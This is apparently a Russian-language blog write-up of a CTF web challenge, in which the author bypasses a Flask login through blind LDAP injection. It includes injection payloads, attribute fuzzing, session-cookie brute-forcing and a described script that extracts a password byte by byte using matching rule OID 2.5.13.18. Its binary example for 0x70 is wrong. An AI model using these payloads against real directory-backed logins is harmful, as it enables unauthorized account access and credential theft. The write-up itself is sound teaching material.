Введение

Всем привет! Меня зовут Ян, я старший специалист по пентестам в компании Xilant. Сегодня предлагаю вместе разобраться с довольно сложным CTF-заданием, посвящённому слепой LDAP-инъекции (Blind LDAP Injection).

Оно будет особенно интересным, ведь его смогли решить всего около 50 человек из примерно 500. Мне удалось получить флаг одним из первых десяти участников — за 2 часа, причём без глубокого опыта работы с LDAP протоколами.

Решение и код лежат также на моём Github (ни один чат-бот не пострадал).

Немного о POC CTF

В середине ноября в Южной Корее пройдет POC Security Conference — это довольно большая конференция для специалистов по безопасности, в рамках которой организаторы проводят соревнования по CTF.

Но нельзя просто так купить билеты в Сеул и приехать на соревнования — сначала нужно пройти квалификационный отбор, в котором я и участвовал с 12 по 13 октября. На всё про всё было отведено 24 часа. Некоторые наверняка сидели сутки не вставая даже по зову либидо. 

В этот раз организаторы предложили формат jeopardy — Это формат, в котором игрокам дают набор задач на взлом из различных категорий — нужно найти ответ и отправить его. Ответ — это флаг (какая-то строка символов или фраза). За каждую верную задачу начисляют очки: чем сложнее задача, тем больше очков.

Всего заданий было 12, но принять участие могли только одиночные игроки. Поэтому полагаться приходилось лишь на самого себя. Итак, к описанию задания!

Задание

admin:admin? Нет.
admin:admin? Нет.

Задание запускалось в индивидуальном контейнере для каждого участника, чтобы никто никому не закинул XSS  не мешал.  Затем можно было скопировать свою урлу и начать.

Обычно в вебках я сразу включаю Burp и начинаю лазить по всему приложению. Логин интерфейс был ничем не примечателен и гордо отверг моё предложение на admin:admin.

Тогда посмотрим на исходники (Ctrl + U):

<form id="loginForm">
   <div class="form-group">
       <label for="username">Username</label>
       <input type="text" id="username" name="username" required autocomplete="username" placeholder="Enter your username">
   </div>
   <!-- player1 / password123 -->
   <div class="form-group">
       <label for="password">Password</label>
       <input type="password" id="password" name="password" required autocomplete="current-password" placeholder="Enter your password">
   </div>

Отлично! Есть креды к какому-то пользователю. Залогинимся и глянем на запрос в Burp (в дальнейшем буду убирать лишние заголовки и сепараторы):

POST /login HTTP/1.1
Host: btfryxiw.playat.flagyard.com
Content-Type: multipart/form-data; boundary=----geckoformboundary18c55b09bf115fede816ea0a548b788
Content-Length: 294


------geckoformboundary18c55b09bf115fede816ea0a548b788
Content-Disposition: form-data; name="username"


player1
------geckoformboundary18c55b09bf115fede816ea0a548b788
Content-Disposition: form-data; name="password"


password123
------geckoformboundary18c55b09bf115fede816ea0a548b788--

И ответ:

{"message":"Login successful!","redirect":"/dashboard","success":true}
И вот он дашборд...
И вот он дашборд...

Да, мы зашли, но ничего интересного на дашборде нет. Всё статическое. Я во всё потыкал, клянусь!

Может помогут печеньки? Т.е.  cookies запроса:

session=.eJyrVkosLclIzSvJTE4sSU1RsiopKk3VUSotTi2KzwRylUozU2wLchIrU4sMdfJLbUESxTopybYFiSk5IDonPzkxRwmiIy8xNxWoBapcqRYAOD8hRw.aOvQ1A.xA6NsmlSZBM2OCGtRC5G_A44H0E; HttpOnly; Path=/

Я раньше сам пилил на Flask и сразу заметил, что это сессионный куки. Можно пробовать декодировать его или даже взломать подпись.

Для начала декодим и смотрим что внутри тулзой flask-unsign  (кому интересно ручками то см. itsdangerous):

$ flask-unsign --decode --cookie $COOKIE


{'authenticated': True, 'user_id': 'uid=player1,ou=users,dc=padl,dc=local', 'username': 'player1'}

Ага! Опытный пентестер заметит LDAP синтакс, а сисадмин даже прослезится :) 

Может всё таки удастся заспуфить куки? Пробуем брутфорсить куки подпись на изи:

$ flask-unsign --unsign --cookie '.eJyrVkosLclIzSvJTE4sSU1RsiopKk3VUSotTi2KzwRylUozU2wLchIrU4sMdfJLbUESxTopybYFiSk5IDonPzkxRwmiIy8xNxWoBapcqRYAOD8hRw.aOvQ1A.xA6NsmlSZBM2OCGtRC5G_A44H0E'
[*] Session decodes to: {'authenticated': True, 'user_id': 'uid=player1,ou=users,dc=padl,dc=local', 'username': 'player1'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2176): -----BEGIN PRIVATE KEY-----ECR
[*] Attempted (38272): w.;>{1t hozzfrsly generated st
[!] Failed to find secret key after 55982 attempts.ea

Эх… не получилось, теперь придётся попотеть. Взглянем на LDAP!

Что такое LDAP

LDAP - Lightweight Directory Access Protocol. Или по-русски - простой протокол доступа к директории. Обычно интенсивно используется в печально известной Active Directory для формирования фильтров запроса к оной и обычно приводящий к критическим Пывнам и слезам всё тех же сисадминов.

Где мои данные?
Где мои данные?

LDAP - это как гугл в вашей корпоративной сети (да, простит меня Microsoft).

LDAP инъекция

Чтобы понять есть ли в параметре уязвимость на LDAP инъекцию можно просто добавить символ * и посмотреть, что будет:

Content-Disposition: form-data; name="username"


player1*

Ага получаем ответ: "Login successful!".

А может удастся обойти и пароль таким же способом?

Content-Disposition: form-data; name="password"


*

Не сработало: Invalid password.

Почему так получается? Видимо в параметре пароля применён санитайзинг, который верно фильтрует и кодирует все не альфа-нумерические знаки.

А как же тогда должна сработать инъекция? Разберём как может быть устроен бэкэнд, зная что он написан на питоне, потому что пользуется Flask:

conn = Connection(server, user=LDAP_BIND_DN, password=LDAP_BIND_PW, auto_bind=True)


request.form.get('username')
request.form.get('password')


# LDAP filter
login_check = f"(&(username ={username})(password = {password}))"


try:
   conn.search(
               search_base=LDAP_BASE_DN,
               search_filter=login_filter,
           )
except Exception as e:
       return f"LDAP error: {str(e)}", 500

Нас интересует больше всего строка LDAP фильтра:

login_check = f"(&(username ={username})(password = {password}))"

Вначале есть оператор &, который является AND-оператором сравнения двух объектов в скобках: username и password, которые считываются из POST запроса. Если сравнение верное, то login_check == True и можете войти.

Раз можно контролировать параметр username, то надо придумать, что в него инжектить, чтобы выйти из контекста LDAP сравнения или изменить его.

Попробуем сначала изменить контекст username добавив в него заранее известные верные значения username: player1)(password=password123

Получаем следующий запрос:

Content-Disposition: form-data; name="username"


player1)(password=password123

Тогда получим в итоге следующую строку сравнения в бэке:

(& (username = player1) (password = password123) (password = password123))

И должны получить success ведь эти креды заведомо верные. Но, нет получили ошибку:

{"message":"Username not found. Please check your username.","success":false}
Ну, почему?
Ну, почему?

В LDAP инъекциях есть одна специфика — надо знать точно название атрибутов, чтобы сформировать валидный  LDAP запрос. А узнать правильные атрибуты просто - перебором.

Запускаем Burp Intruder с вот такой полезной нагрузкой в username:

Content-Disposition: form-data; name="username"


player1)(&FUZZ&=password123

Словарик  и много других интересных вещей можно найти на PayloadsAlltheThings.

Тра-та-та! И получаем  "message":"Login successful!" при использовании атрибута userPassword

Значит в username надо инжектить:  admin)(userPassword=

Продвигаемся

Попробовав переборы паттерна с * типа admin)(userPassword=a* ,  получил только ошибки. А идея была таким образом перебирать букву за буквой.

Покопавшись в интернете я нактнулся на интересную уязвимость OID 2.5.13.18Текст оригинала следующий:

Exploiting userPassword Attribute

userPassword attribute is not a string like the cn attribute for example but it’s an OCTET STRING In LDAP, every object, type, operator etc. is referenced by an OID : octetStringOrderingMatch (OID 2.5.13.18).

octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.

userPassword:2.5.13.18:=\xx (\xx is a byte)
userPassword:2.5.13.18:=\xx\xx
userPassword:2.5.13.18:=\xx\xx\xx

В общем, как и все тексты норм от Microsoft — это не читабельно (кому интересно закиньте в ChatGPT). Поэтому я просто решил сам руками попробовать посравнивать \xx\xx\xx байты вручную.

Нашёл ascii калькулятор и забил туда уже известный пароль от уже известного пользака:  password123.

Получил: 70 61 73 73 77 6F 72 64 31 32 33. Меняем пробелы на бэк-слэши (хакеры же пользуются только командной строкой?):

$echo '70 61 73 73 77 6F 72 64 31 32 33' | sed 's/ /\\/g'

В эксплойте происходит какое-то по-байтовое сравнение. Берём первый байт и посылаем:

------geckoformboundary18c55b09bf115fede816ea0a548b788
Content-Disposition: form-data; name="username"


player1)(userPassword:2.5.13.18:=\70
------geckoformboundary18c55b09bf115fede816ea0a548b788
Content-Disposition: form-data; name="password"


test

Логика содеянного такова, что мы знаем правильный пароль от пользака player1, но хотим посмотреть какова реакция на инъекцию в данной уязвимости.

Получили оплеуху "message":"Username not found. Please check your username.". Почему? Потому что надо внимательнее стандарты читать: сравнение неверное до первой разницы в бите сравниваемого байта.

Тогда пробуем \71 вместо \70:

------geckoformboundary18c55b09bf115fede816ea0a548b788
Content-Disposition: form-data; name="username"


player1)(userPassword:2.5.13.18:=\71
------geckoformboundary18c55b09bf115fede816ea0a548b788
Content-Disposition: form-data; name="password"


test

И, ура, всё верно:  "message":"Invalid password. Please try again.". Точнее пароль не верный, но мы этого и ожидали. Главное нет ошибки Username not found, указывающей на ошибку в LDAP запросе.

Здесь видно, что первая разница бита есть на седьмой позиции в двоичном виде:

0x70: 1000 1100
0x71: 1000 1110

Вывод такой: первый символ - это \70 , он и является буквой p в известном пароле от player1 .

Вторая буква будет \61 исходя из верного ответа сервака на player1)(userPassword:2.5.13.18:=\70\62 . И так далее. 

Думаю, что всё понятно? Пишем эксплоит и атакуем админ-пароль.

Эксплоит

Тем кто предпочитает читать код, предлагаю для начала посмотреть на мой исходник: blind-ldap-inj.py. А всех остальных попрошу остаться (мы почти у цели).

Метод send_request(username) просто подготавливает POST запрос. Принимает он нагрузку для username и инжектит в тело запроса. Если ответ приходит "Invalid password" значит LDAP сравнение верное и байт подобран верно. Но если  "Username not found" то байт не верен.

Далее идёт функция формирования полезной нагрузки по форме: admin)(userPassword:2.5.13.18:={prefix}{escaped_byte}. Это и будет инжектиться. В цикле идёт перебор всех значений байта  {escaped_byte} от 0 до 100. А вот значение {prefix} формируется в следующей функции main. 

В main() цикл просто перебирает через 100 позиций и перескакивает на следующую при нахождении верного байта.

Мне было лень писать нормальное условие и я подумал, что вряд ли бывают пароли длиннее чем 100 символов.
Мне было лень писать нормальное условие и я подумал, что вряд ли бывают пароли длиннее чем 100 символов.

В префикс записываются верные байт минус 1. Чтобы учесть особенность уязвимости с по-битным сравнением.

Запускаем и ждём когда будут найдены все корректные байты и перебор закончится если  после всех попыток не будет найден нужный {escaped_byte}.  Всё это может выглядеть так:

(venv) python3 passwd.py
Found byte 1: 0x50 ('P'); current payload suffix: \50
Found byte 2: 0x34 ('4'); current payload suffix: \34
Found byte 3: 0x64 ('d'); current payload suffix: \64
Found byte 4: 0x6c ('l'); current payload suffix: \6c
Found byte 5: 0x5f ('_'); current payload suffix: \5f
Found byte 6: 0x41 ('A'); current payload suffix: \41
…

Код весело бежит через все позиции пароля и подбирает символы!

Вывод

Вот так вот способствуют взлому отсутствие санитайзинга ввода и болтливость логин-интерфейса (вывод ошибки на неверное имя пользователя и пароля).

Получилось много букв и кода! Но я решил не ограничиваться сухим решением, и объяснить всё начиная с азов LDAP. Надеюсь получилось интересно и познавательно. Побед вам!

Если вы уже поспешили меня поздравить с тем, что мне предстоит поездка в страну токпокков и соджу, то поспешу вас расстроить — чтобы пройти в финал нужно было решить минимум 10 заданий из 12 (были и такие умельцы), а мне поддались лишь четыре. Но тем не менее считаю это классным опытом, про который был рад поделиться с вами! 

Комментарии (2)


  1. 0x22
    24.10.2025 09:14

    Если вы уже поспешили меня поздравить

    Поспешили :)

    Спасибо, было интересно почитать. Удачи вам в следующих соревнованиях!


    1. yanzar Автор
      24.10.2025 09:14

      Спасибо! Надо reverse и pwn вкачать )